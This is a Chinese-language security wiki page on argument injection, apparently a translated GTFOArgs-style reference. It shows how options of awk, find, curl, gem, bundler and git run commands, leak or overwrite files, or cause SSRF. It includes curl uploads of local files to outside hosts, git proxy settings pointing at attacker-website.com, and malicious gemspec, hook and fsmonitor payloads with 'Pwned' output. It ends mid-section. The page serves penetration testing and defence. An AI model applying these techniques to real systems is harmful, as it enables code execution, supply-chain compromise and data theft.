> For the complete documentation index, see [llms.txt](https://gitbook.cdxiaodong.life/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/command-injection/argument-injection.md).

# 参数注入

## awk

### system

`awk` 支持 [system](https://www.gnu.org/software/gawk/manual/gawk.html#index-system_0028_0029-function) 命令来执行命令：

```bash
$ awk 'BEGIN {system("cmdname arg1 arg2")}' /dev/null
# 执行命令与文件中的行数相同
$ awk 'system("cmdname arg1 arg2")' /path/to/file
```

如果不能插入空格，可以使用 [sprintf](https://www.gnu.org/software/gawk/manual/gawk.html#index-sprintf_0028_0029-function-1) 来绕过：

```bash
$ awk 'BEGIN{system(sprintf("cmdname%carg1",32))}'
```

参考：

* [GTFOArgs: awk](https://gtfoargs.github.io/gtfoargs/awk/)

## bundler

### bundler install

[bundler install](https://bundler.io/v2.2/man/bundle-install.1.html) 在底层使用 `gem`，因此可以重用 gem 的功能来获利。

#### Gemfile

[Gemfile](https://bundler.io/v2.2/man/gemfile.5.html) 描述了执行相关 Ruby 代码所需的 gem 依赖项。由于它是一个 ruby 文件，您可以编写任意代码，在运行 `bundle install` 时执行。

```ruby
# Gemfile

# 这里的任意代码
system('echo "hola!"')
```

当运行 `bundle install` 时，任意的 ruby 代码将被执行。

```bash
$ bundle install
hola!
hola!
The Gemfile specifies no dependencies
Resolving dependencies...
Bundle complete! 0 Gemfile dependencies, 1 gem now installed.
```

#### gem 依赖项

由于 `bundler` 使用 `gem install` 来安装 `Gemfile` 中指定的依赖项，您可以使用扩展来嵌入任意代码。

```ruby
# hola.gemspec 文件

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
```

```ruby
# extconf.rb

# 这里的任意代码
system('echo "hola!"')
```

```bash
# 构建并推送到 rubygems.org
$ gem build hola.gemspec
$ gem push ./hola-0.0.0.gem
```

```ruby
# Gemfile

source 'https://rubygems.org'

gem 'hola'
```

当运行 `bundle install` 时，任意的 ruby 代码将被执行。

```bash
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...
```

参考：

* [RubyGames 指南：制作自己的 gem](https://guides.rubygems.org/make-your-own-gem/)
* [RubyGames 指南：带扩展的 gem](https://guides.rubygems.org/gems-with-extensions/)
* [RubyGames 指南：规范参考 - 扩展](https://guides.rubygems.org/specification-reference/#extensions)
* [Bundler 文档：gemfile - Gems](https://bundler.io/v1.16/gemfile_man.html#GEMS)

#### git 依赖项

`bundler` 的 gem 源之一是包含 gem 源代码的 git 仓库。由于 git 仓库包含源代码，`bundler` 在安装前会构建它。因此，您可以编写任意代码，在运行 `bundle install` 时执行。

{% hint style="info" %}
您可以使用 [gemspec](#gem-build) 文件和[原生扩展](#extensions)来执行任意代码
{% endhint %}

在 `github.com` 上创建一个包含以下 `hola.gemspec` 文件的仓库：

```ruby
# 这里的任意代码
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end
```

将仓库作为 git 依赖项添加到 `Gemfile` 中。

```ruby
# Gemfile
gem 'hola', :git => 'https://github.com/username/hola'
```

当运行 `bundle install` 时，任意的 ruby 代码将被执行。

```bash
$ bundle install
Fetching https://github.com/username/hola
hola!
Resolving dependencies...
Using bundler 2.2.21
Using hola 0.0.0 from https://github.com/username/hola (at main@4a4a4ee)
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
```

参考：

* [Bundler 文档：gemfile - Git](https://bundler.io/v1.16/gemfile_man.html#GIT)

#### path 依赖项

您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 `Gemfile` 的目录解析。由于 git 仓库包含源代码，`bundler` 在安装前会构建它。因此，您可以编写任意代码，在运行 `bundle install` 时执行。

您可以指定 gem 位于文件系统上的特定位置。相对路径相对于包含 `Gemfile` 的目录解析。

与 `:git` 选项的语义类似，`:path` 选项要求相关目录包含 gem 的 `.gemspec`，或者您指定 bundler 应使用的显式版本。

{% hint style="info" %}
与 `:git` 不同，`bundler` 不会为指定为路径的 gem 编译原生扩展
{% endhint %}

因此，您可以使用[带有任意代码的 .gemspec 文件](#gem-build)或[带有原生扩展的构建 gem](#extensions)来获得代码执行。

```ruby
# Gemfile
# .gemspec 文件位于 vendor/hola 中
gem 'hola', :path => "vendor/hola"
```

```ruby
# Gemfile
# vendor/hola 包含 hola-0.0.0.gem 文件
gem 'hola', '0.0.0', :path => "vendor/hola"
```

当运行 `bundle install` 时，任意的 ruby 代码将被执行。

```bash
$ bundle install
hola!
Resolving dependencies...
Using hola 0.0.0 from source at `vendor/hola`
Using bundler 2.2.21
Bundle complete! 1 Gemfile dependency, 2 gems now installed.
```

参考：

* [Bundler 文档：gemfile - Path](https://bundler.io/v1.16/gemfile_man.html#PATH)

## curl

[curl](https://curl.se/docs/) 可用于泄露本地文件或向它们写入任意内容。

```bash
# 使用 POST 请求发送本地文件
$ curl --data @/path/to/local/file https://website.com
$ curl -F 'var=@/path/to/local/file' https://website.com
$ curl --upload-file /path/to/local/file https://website.com
# 将响应写入本地文件
$ curl https://website.com/payload.txt -o /path/to/local/file
```

此外，`file:` 方案可用于读取或复制本地文件：

```bash
# 读取本地文件
$ curl file:///path/to/local/file
# 将本地文件复制到新位置
$ curl file:///path/to/local/file -o /path/to/another/local/file
```

参考：

* [GTFOArgs: curl](https://gtfoargs.github.io/gtfoargs/curl/)

## find

### exec

[-exec](https://man7.org/linux/man-pages/man1/find.1.html) 选项可用于执行任意命令：

```bash
$ find . -name not_existing -or -exec cmdname arg1 arg2 \; -quit
$ find . -exec cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -exec cat {} \; -quit
```

参考：

* [GTFOArgs: find](https://gtfoargs.github.io/gtfoargs/find/)

### execdir

[-execdir](https://man7.org/linux/man-pages/man1/find.1.html) 类似于 `-exec`，但指定的命令从包含匹配项的子目录中运行。`-execdir` 可用于执行任意命令：

```bash
$ find . -name not_existing -or -execdir cmdname arg1 arg2 \; -quit
$ find . -execdir cmdname arg1 arg2 \; -quit
# 读取文件
$ find /path/to/file -execdir cat {} \; -quit
```

### fprintf

[-fprintf](https://man7.org/linux/man-pages/man1/find.1.html) 可用于写入本地文件：

```bash
$ find . -fprintf /path/to/file 'arbitrary content here' -quit
```

{% hint style="info" %}
`find` 提供了多种写入文件的方式，查看 [手册](https://man7.org/linux/man-pages/man1/find.1.html) 了解更多详细信息。
{% endhint %}

参考：

* [GTFOArgs: find](https://gtfoargs.github.io/gtfoargs/find/)

## gem

### gem build

`gemspec` 文件是一个 ruby 文件，定义了 gem 中的内容、谁制作了它以及 gem 的版本。由于它是一个 ruby 文件，您可以编写任意代码，在运行 `gem build` 时执行。

```ruby
# hola.gemspec 文件

# 这里的任意代码
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end
```

当运行 `gem build` 时，任意的 ruby 代码将被执行。

```bash
$ gem build hola.gemspec
hola!
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem
```

参考：

* [RubyGames 指南：制作自己的 gem](https://guides.rubygems.org/make-your-own-gem/)
* [RubyGames 指南：命令参考 - gem build](https://guides.rubygems.org/command-reference/#gem-build)

### gem install

#### 扩展

`gemspec` 允许您定义在安装 gem 时要构建的扩展。许多 gem 使用扩展来包装用 C 编写的库与 ruby 包装器。`gem` 使用 `extconf.rb` 在安装期间构建扩展。由于它是一个 ruby 文件，您可以编写任意代码，在运行 `gem install` 时执行。

```ruby
# hola.gemspec 文件

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
```

```ruby
# extconf.rb

# 这里的任意代码
system('echo "hola!"')
```

```bash
$ gem build hola.gemspec
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem
```

当运行 `gem install` 时，任意的 ruby 代码将被执行。

```bash
$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...
```

参考：

* [RubyGames 指南：带扩展的 gem](https://guides.rubygems.org/gems-with-extensions/)
* [RubyGames 指南：规范参考 - 扩展](https://guides.rubygems.org/specification-reference/#extensions)
* [RubyGames 指南：命令参考 - gem install](https://guides.rubygems.org/command-reference/#gem-install)

## git

{% embed url="<https://git-scm.com/docs/git>" %}

### -c/--config-env

[-c/--config-env](https://git-scm.com/docs/git#Documentation/git.txt--cltnamegtltvaluegt) 将配置参数传递给命令。给定的值将覆盖配置文件中的值。查看 [通过 .git/config 滥用](#abuse-via-.git-config) 部分以找到可滥用的参数。

{% hint style="info" %}
记住，现代版本的 Git 支持通过 [GIT\_CONFIG\* 环境变量](https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITCONFIGCOUNT) 设置任何配置值。
{% endhint %}

### 滥用 git 目录

git 目录维护与 git 仓库相关的内部状态或元数据。它在用户的机器上创建，当：

* 用户执行 `git init` 来初始化一个空的本地仓库
* 用户执行 `git clone <repository>` 从远程位置克隆现有仓库

git 目录的结构记录在 <https://git-scm.com/docs/gitrepository-layout>

注意，git 目录通常是但不一定是名为 `.git` 的目录，位于仓库的根目录。有几个变量可以重新定义路径：

* [GIT\_DIR](https://git-scm.com/docs/git#Documentation/git.txt-codeGITDIRcode) 环境变量或 [--git-dir](https://git-scm.com/docs/git#Documentation/git.txt---git-dirltpathgt) 命令行选项指定用于仓库基础的路径，而不是默认的 `.git`。
* [GIT\_COMMON\_DIR](https://git-scm.com/docs/git#Documentation/git.txt-codeGITCOMMONDIRcode) 环境变量或 [commondir](https://git-scm.com/docs/gitrepository-layout#Documentation/gitrepository-layout.txt-commondir) 文件指定将从中获取非工作树文件的路径，这些文件通常在 `$GIT_DIR` 中。

注意，[裸仓库](https://git-scm.com/docs/git-init#Documentation/git-init.txt---bare) 根本没有 `.git` 目录。

参考：

* [技术分析：gh run download 实现允许在下载工件时覆盖 git 仓库配置](https://github.com/Metnew/write-ups/blob/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-gh-cli-run-download/README.md)

#### 通过 .git/config 滥用

`.git/config` 允许在[每个仓库的基础上配置选项](https://git-scm.com/docs/git-config#_variables)。许多选项允许指定将在各种情况下执行的命令，但其中一些情况仅在用户以特定方式与 git 仓库交互时出现。

至少有以下几种设置选项的方法：

1. 在系统范围内使用 [/etc/gitconfig](https://git-scm.com/docs/git-config#Documentation/git-config.txt-prefixetcgitconfig) 文件
2. 在全局范围内使用 [\~/git/config](https://git-scm.com/docs/git-config#Documentation/git-config.txt-XDGCONFIGHOMEgitconfig) 或 [\~/.gitconfig](https://git-scm.com/docs/git-config#Documentation/git-config.txt-gitconfig) 文件
3. 在本地每个仓库的基础上使用 [.git/config](https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITDIRconfig) 文件
4. 在本地每个仓库的基础上使用 [.git/config.worktree](https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITDIRconfigworktree) 文件。这是可选的，只有当 `.git/config` 中存在 `extensions.worktreeConfig` 时才会搜索
5. 在本地每个仓库的基础上使用 [git -c/--config-env](https://git-scm.com/docs/git#Documentation/git.txt--cltnamegtltvaluegt) 选项
6. 在本地每个仓库的基础上使用 [git-clone -c/--config](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--cltkeygtltvaluegt) 选项

**core.gitProxy**

[core.gitProxy](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coregitProxy) 给出一个在使用 `git://` 协议建立与远程的连接时将执行的命令

```bash
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.gitProxy="./pwn.sh" git://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.
```

**core.fsmonitor**

[core.fsmonitor](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corefsmonitor) 选项用作命令，该命令将标识自请求的日期/时间以来可能已更改的所有文件。

换句话说，git 提供的许多操作将调用 `core.fsmonitor` 给出的命令，以快速将操作范围限制为已知已更改的文件，以提高性能。

至少以下 git 操作调用 `core.fsmonitor` 给出的命令：

* `git status` 用于显示有关工作树状态的信息，包括是否有任何文件有未提交的更改
* `git add <pathspec>` 用于暂存更改以提交到仓库
* `git rm --cached <file>` 用于取消暂存更改
* `git commit` 用于提交暂存的更改
* `git checkout <pathspec>` 用于检出文件、提交、标签、分支等

对于接受文件名的操作，即使提供的文件名不存在，`core.fsmonitor` 也会触发。

```bash
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# 更改 core.fsmonitor 以便在调用时向 STDERR 回显消息
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> .git/config
$ cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	fsmonitor = "echo \"Pwned as $(id)\">&2; false"
# git-status
$ git status
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
On branch main

No commits yet

nothing to commit (create/copy files and use "git add" to track)

# git-add
$ touch aaaa
$ git add aaaa
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)

$ git add zzzz
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
fatal: pathspec 'zzzz' did not match any files

# git-commit
$ git commit -m 'add aaaa'
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
[main (root-commit) 7c2f2c6] add aaaa
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 aaaa
```

参考：

* [研究：Git 尊重嵌入的裸仓库，并且通过目录的 .git/config 中的 core.fsmonitor 的利用影响 IDE、shell 提示符和 Git 抢劫者](https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md)
* [研究：保护开发者工具 - Git 集成](https://blog.sonarsource.com/securing-developer-tools-git-integrations)

**core.hooksPath**

[core.hooksPath](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corehooksPath) 为[钩子](https://git-scm.com/docs/githooks)设置不同的路径。您可以在仓库中创建 post checkout 钩子，使用 `hooksPath` 设置钩子的路径，并执行任意代码。

```bash
$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir hooks
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # 提交并推送
```

要执行 payload，运行 `git-clone`：

```bash
$ git clone -c core.hooksPath=hooks "<REPO>"
```

参考：

* [git-config 文档：core.hooksPath](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corehooksPath)
* [githooks 文档](https://git-scm.com/docs/githooks)

**core.pager**

[core.pager](https://git-scm.com/docs/git-config#Documentation/git-config.txt-corepager) 指定 Git 命令使用的文本查看器（例如，less）。该值旨在由 shell 解释，可用于执行任意命令。

例如，在以下代码片段中，`git-grep` 具有 `--open-files-in-pager` 键，如果参数中未指定值，则使用 `core.pager` 中的默认分页器：

```bash
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git -c core.pager='cmdname arg1 arg2 #' grep --open-files-in-pager .
```

如果分页器值不是由用户直接设置的，则有优先级顺序：

1. `GIT_PAGER` 环境变量。
2. `core.pager` 配置。
3. `PAGER` 环境变量。
4. 编译时选择的默认值（通常是 `less`）。

因此，以下代码片段也可用于执行命令：

```bash
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ GIT_PAGER='id #' git grep --open-files-in-pager .
```

**core.sshCommand**

[core.sshCommand](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coresshCommand) 给出一个在使用 SSH 协议建立与远程的连接时将执行的命令。如果设置了此变量，当它们需要连接到远程系统时，`git fetch` 和 `git push` 将使用指定的命令而不是 `ssh`。

```bash
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.sshCommand="./pwn.sh" git@github.com:user/project.git
# 或
$ git clone -c core.sshCommand="./pwn.sh" ssh://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.
```

**diff.external**

[diff.external](https://git-scm.com/docs/git-config#Documentation/git-config.txt-diffexternal) 给出一个将代替 git 内部 diff 函数使用的命令。

```bash
$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone https://github.com/user/project.git
$ cd project
$ git -c diff.external="../pwn.sh" HEAD 480e4c9
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
```

**filter.\<driver>.clean 和 filter.\<driver>.smudge**

[filter..clean](https://git-scm.com/docs/git-config#Documentation/git-config.txt-filterltdrivergtclean) 用于在提交时将工作树文件的内容转换为 blob。

[filter..smudge](https://git-scm.com/docs/git-config#Documentation/git-config.txt-filterltdrivergtsmudge) 用于在检出时将 blob 对象的内容转换为工作树文件。

```bash
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.&lt;driver&gt;.clean 和 filter.&lt;driver&gt;.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ touch example
$ git add ./example
$ git commit -m 'commit'
$ echo "*  text  filter=any" > .gitattributes
$ git status
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
On branch master
Untracked files:
  (use "git add <file>..." to include in what will be committed)
	.gitattributes

nothing added to commit but untracked files present (use "git add" to track)

$ git add .gitattributes
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
```

```bash
$ cd $(mktemp -d)
# 在 /tmp/tmp.hLncfRcxgC/.git/ 中初始化空的 Git 仓库
$ git init
# filter.&lt;driver&gt;.clean 和 filter.&lt;driver&gt;.smudge
# 以便在调用时向 STDERR 回显消息
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# 将过滤器添加到 .gitattributes
$ echo "*  text  filter=any" > .gitattributes
$ git fetch
$ git checkout main
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Branch 'main' set up to track remote branch 'main' from 'origin'.
Switched to a new branch 'main'
```

参考：

* [技术分析：GitHub Desktop < 2.9.4 中的 RCE](https://github.com/Metnew/write-ups/tree/main/rce-github-desktop-2.9.3)

**http.proxy 和 http.\<URL>.proxy**

`http.proxy` 或 `http.<URL>.proxy` 覆盖 HTTP 代理。您可以使用它来获得 SSRF：

```bash
$ git clone -c http.proxy=http://attacker-website.com -- "<REPO>" target_directory
$ git clone -c http.http://website.com/.proxy=http://attacker-website.com -- "<REPO>" target_directory
```

注意其他 `http.*` 配置和 `remote.<name>.proxy`，它们可以帮助增加影响。

参考：

* [报告：注入 `http.<url>.*` git 配置设置导致 SSRF](https://hackerone.com/reports/855276)
* [git-config 文档：http.proxy](https://git-scm.com/docs/git-config#Documentation/git-config.txt-httpproxy)
* [git-config 文档：remote..proxy](https://git-scm.com/docs/git-config#Documentation/git-config.txt-remoteltnamegtproxy)

#### 通过 .git/hooks/ 滥用

[.git/hooks/](https://git-scm.com/docs/githooks) 中的各种文件在[某些 git 操作时执行](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)。例如：

* `pre-commit` 和 `post-commit` 分别在提交操作之前和之后执行
* `post-checkout` 在检出操作之后执行
* `pre-push` 在推送操作之前执行

在区分可执行文件和不可执行文件的文件系统上，只有当相应的文件是可执行的时才会执行钩子。此外，钩子只在给定的用户交互时执行，例如在执行提交时。

例如，您可以使用裸仓库来传递自定义 git 钩子并执行任意代码：

```bash
# 克隆或创建仓库
$ git clone "<REPO>" target_directory
$ cd target_directory
# 将子项目添加为裸仓库
$ mkdir subproject
$ cd subproject
$ git init --bare
# 添加恶意钩子
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
# 提交并推送
```

如果易受攻击的代码对准备好的仓库执行以下 bash 命令，它将触发自定义钩子执行并导致任意代码被执行：

```bash
$ git clone -- "<REPO>" "target_directory"
$ cd "target_directory"
$ git checkout "subproject"
```

参考：

* [技术分析：4 个 Google Cloud Shell 漏洞解释 – 漏洞 #3](https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-3/)
* [研究：Git 尊重嵌入的裸仓库，并且通过目录的 .git/config 中的 core.fsmonitor 的利用影响 IDE、shell 提示符和 Git 抢劫者](https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md)

#### 通过 .git/index 滥用

您可以使用精心制作的 `.git/index` 文件实现任意写入原语，查看[公告](https://drivertom.blogspot.com/2021/08/git.html)。

#### 通过 .git/HEAD 滥用

通过损坏 `.git/HEAD` 可以欺骗 Git 从意外位置加载配置。在这种情况下，Git 开始在当前文件夹中查找仓库，攻击者可以完全控制该文件夹，例如，如果当前文件夹是包含克隆的远程仓库所有文件的工作树。利用流程可能如下：

```bash
$ git clone https://github.com/remote/repo.git
$ cd repo
# 创建空文件夹以符合 Git 仓库的预期结构
$ mkdir objects refs worktree
# 创建非空的 HEAD 来伪造有效的引用
$ echo "ref: refs/heads/main" > HEAD
# 使用 core.fsmonitor 准备恶意的配置文件来执行 payload
$ echo "[core]" > config
$ echo "\trepositoryformatversion = 0" >> config
$ echo "\tbare = false" >> config
$ echo "\tworktree = worktree" >> config
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> config
# 损坏 HEAD 文件
$ echo "" > .git/HEAD
# 利用
$ git status
Pwned as uid=501(user)
Pwned as uid=501(user)
On branch main

No commits yet

nothing to commit (create/copy files and use "git add" to track)
```

参考：

* [Sonar 博客：赋能弱原语：使用 Git 从文件截断到代码执行](https://www.sonarsource.com/blog/empowering-weak-primitives-file-truncation-to-code-execution-with-git)

### git-blame

{% embed url="<https://git-scm.com/docs/git-blame>" %}

#### --output

`git-blame` 具有 `--output` 选项，该选项在手册中没有记录，并且通常出现在其他 git 子命令中。执行 `git blame --output=foo` 导致有趣的行为：

```bash
$ git init
$ git blame --output=foo
usage: git blame [<options>] [<rev-opts>] [<rev>] [--] <file>

    <rev-opts> are documented in git-rev-list(1)

    --incremental         show blame entries as we find them, incrementally
    -b                    do not show object names of boundary commits (Default: off)
# ...

# 注意名为 foo 的新文件的存在
$ ls -la foo
-rw-r--r--    1 user  staff     0 Mar 18 20:18 foo
```

虽然命令失败了，但创建了一个名为 `foo` 的空文件。如果同名的文件已经存在，目标文件将被截断。此选项提供任意文件截断原语。例如，攻击者可以使用它来损坏 `.git` 文件夹中的关键文件，如 `.git/HEAD`，并欺骗 Git 从意外位置加载配置，查看 [通过 .git/HEAD 滥用](#abuse-via-.git-head) 部分。

参考：

* [Sonar 博客：赋能弱原语：使用 Git 从文件截断到代码执行](https://www.sonarsource.com/blog/empowering-weak-primitives-file-truncation-to-code-execution-with-git)

### git-clone

{% embed url="<https://git-scm.com/docs/git-clone>" %}

#### -c/--config

[-c/--config](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--cltkeygtltvaluegt) 在新创建的仓库中设置配置变量；这在仓库初始化后立即生效，但在获取远程历史记录或检出任何文件之前生效。查看 [通过 .git/config 滥用](#abuse-via-.git-config) 部分以找到可滥用的变量。

#### ext URL

`git-clone` 允许在 `ext` URL 中为远程仓库指定 shell 命令。例如，下一个示例将执行 `whoami` 命令来尝试连接到远程仓库：

```bash
$ git clone 'ext::sh -c whoami% >&2'
```

参考：

* [git-remote-ext 文档](https://git-scm.com/docs/git-remote-ext)

#### \<directory>

`git-clone` 允许指定一个新目录来克隆到。只有当目录为空时才允许克隆到现有目录中。您可以使用它来将仓库写入默认文件夹之外。

```bash
$ git clone -- "<REPO>" target_directory
```

#### -u/--upload-pack

[upload-pack](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--ultupload-packgt) 指定在通过 ssh 访问要克隆的仓库时在另一端运行的命令的非默认路径。您可以像这样执行任意代码：

```bash
$ mkdir repo
$ cd repo
$ git init
$ cd -
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git clone --upload-pack=payload.sh repo
```

参考：

* [技术分析：保护开发者工具 包管理器 - Bundler 和 Poetry 中的参数注入](https://blog.sonarsource.com/securing-developer-tools-package-managers)

### git-diff

{% embed url="<https://git-scm.com/docs/git-diff>" %}

#### git-diff 对 /dev/null

`git-diff` 对 `/dev/null` 可用于读取文件的整个内容，即使在 git 目录之外。

```bash
$ git diff /dev/null /path/fo/file/outside/git/repo
$ git diff /dev/null path/to/file/in/git/repo
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

#### --no-index

[--no-index](https://git-scm.com/docs/git-diff) 键可用于将 `git-diff` 变为对 git 仓库中另一个文件的正常 `diff`，该文件不必被跟踪。

```bash
$ git diff --no-index local-secret-file.conf git.md
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-fetch

{% embed url="<https://git-scm.com/docs/git-fetch>" %}

#### --upload-pack

[--upload-pack](https://git-scm.com/docs/git-fetch#Documentation/git-fetch.txt---upload-packltupload-packgt) 标志可用于执行任意命令。输出不显示，但可以使用 `>&2` 将输出路由到 stderr。

```bash
$ mkdir repo
$ cd repo
$ git init
$ git fetch main --upload-pack='cmdname arg1 arg2 >&2 #'
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-fetch-pack

{% embed url="<https://git-scm.com/docs/git-fetch-pack>" %}

#### --exec

与 `--upload-pack` 相同。查看下面的部分。

#### --upload-pack

[--upload-pack](https://git-scm.com/docs/git-fetch-pack#Documentation/git-fetch-pack.txt---upload-packltgit-upload-packgt) 标志可用于执行任意命令。输出不显示，但可以使用 `>&2` 将输出路由到 stderr。

```bash
$ mkdir repo
$ cd repo
$ git init
$ git fetch-pack --upload-pack='cmdname arg1 arg2 >&2 #' .
```

### git-grep

{% embed url="<https://git-scm.com/docs/git-grep>" %}

#### --no-index

`no-index` 告诉 git-grep 搜索当前目录中不被 Git 管理的文件。换句话说，如果工作目录与仓库目录不同，`no-index` 允许您访问工作目录中的文件。

参考：

* [报告：Git 标志注入 - 带有 'blobs' 范围的搜索 API](https://hackerone.com/reports/682442)

#### -O/--open-files-in-pager

[-O/--open-files-in-pager](https://git-scm.com/docs/git-grep#Documentation/git-grep.txt--Oltpagergt) 在 `pager` 中打开匹配的文件。它可以用于运行任意命令：

```bash
$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git grep --open-files-in-pager='cmdname arg1 arg2 #' .
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-log

{% embed url="<https://git-scm.com/docs/git-log>" %}

#### --output

`output` 定义一个特定的输出文件而不是 stdout。您可以使用它来重写任意文件。

```bash
$ git log --output=/tmp/arbitrary_file
$ cat /tmp/arbitrary_file
commit c79538fb19b1d9d21bf26e9ad30fdeb90be1eaf0
Author: User <user@local>
Date:   Fri Aug 29 00:00:00 2021 +0000

    Controlled content
```

参考：

* [报告：Git 标志注入 - 本地文件覆盖到远程代码执行](https://hackerone.com/reports/658013)
* [报告：Git 标志注入导致文件覆盖和潜在的远程代码执行](https://hackerone.com/reports/653125)

### git-ls-remote

{% embed url="<https://git-scm.com/docs/git-ls-remote>" %}

#### --upload-pack

[--upload-pack](https://git-scm.com/docs/git-ls-remote#Documentation/git-ls-remote.txt---upload-packltexecgt) 标志可用于执行任意命令。输出不显示，但可以使用 `>&2` 将输出路由到 stderr。

```bash
$ mkdir repo
$ cd repo
$ git init
$ git ls-remote --upload-pack='cmdname arg1 arg2 >&2 #' main
```

参考：

* [GTFOArgs: git](https://gtfoargs.github.io/gtfoargs/git/)

### git-pull

{% embed url="<https://git-scm.com/docs/git-pull>" %}

#### --upload-pack

